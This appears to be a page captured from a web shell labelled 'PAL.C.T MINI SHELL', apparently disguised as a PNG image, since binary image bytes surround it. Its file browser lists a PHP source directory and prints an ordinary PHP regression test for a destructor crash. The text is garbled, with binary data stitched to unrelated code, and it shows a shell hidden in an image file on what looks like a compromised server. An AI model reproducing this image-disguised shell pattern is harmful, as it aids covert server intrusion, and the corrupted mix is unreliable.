php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /php-7.1.11/Zend/tests/
upload
files >> //php-7.1.11/Zend/tests/bug68652.phpt

--TEST--
Bug #68652 (segmentation fault in destructor)
--FILE--
<?php
class Foo {

    private static $instance;
    public static function getInstance() {
        if (isset(self::$instance)) {
            return self::$instance;
        }
        return self::$instance = new self();
    }

    public function __destruct() {
        Bar::getInstance();
    }
}

class Bar {

    private static $instance;
    public static function getInstance() {
        if (isset(self::$instance)) {
            return self::$instance;
        }
        return self::$instance = new self();
    }

    public function __destruct() {
        if (!isset(self::$instance)) return;
        Foo::getInstance();
    }
}


$foo = new Foo();
?>
--EXPECTF--
Fatal error: Uncaught Error: Access to undeclared static property: Bar::$instance in %sbug68652.php:%d
Stack trace:
#0 %s(%d): Bar::getInstance()
#1 [internal function]: Foo->__destruct()
#2 {main}
  thrown in %sbug68652.php on line %d
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`